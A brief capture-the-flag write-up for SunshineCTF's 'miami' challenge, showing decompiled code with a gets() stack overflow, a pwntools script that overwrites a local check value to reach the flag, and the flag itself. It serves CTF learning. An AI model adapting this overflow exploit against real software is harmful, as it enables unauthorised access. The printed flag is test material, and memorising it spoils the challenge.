Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his login terminal and get the proof we need!
miami
nc chal.sunshinectf.games 25601
Decompile in IDA:
int vuln()
{
_QWORD v1[8]; // [rsp+0h] [rbp-50h] BYREF
int v2; // [rsp+40h] [rbp-10h]
int v3; // [rsp+4Ch] [rbp-4h]
v3 = 0xDEADBEEF;
memset(v1, 0, sizeof(v1));
v2 = 0;
printf("Enter Dexter's password: ");
gets(v1);
if ( v3 != 0x1337C0DE )
return puts("Invalid credentials!");
puts("Access granted...");
return read_flag();
}
Stack overflow using gets
. We can override v3
to 0x1337C0DE
by:
from pwn import *
elf = ELF("./miami")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")
p = remote("chal.sunshinectf.games", 25601)
# p = process(["./miami"])
# gdb.attach(p)
# pause()
p.sendline(b"A"*76+p32(0x1337c0de))
p.interactive()
Flag: sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}
.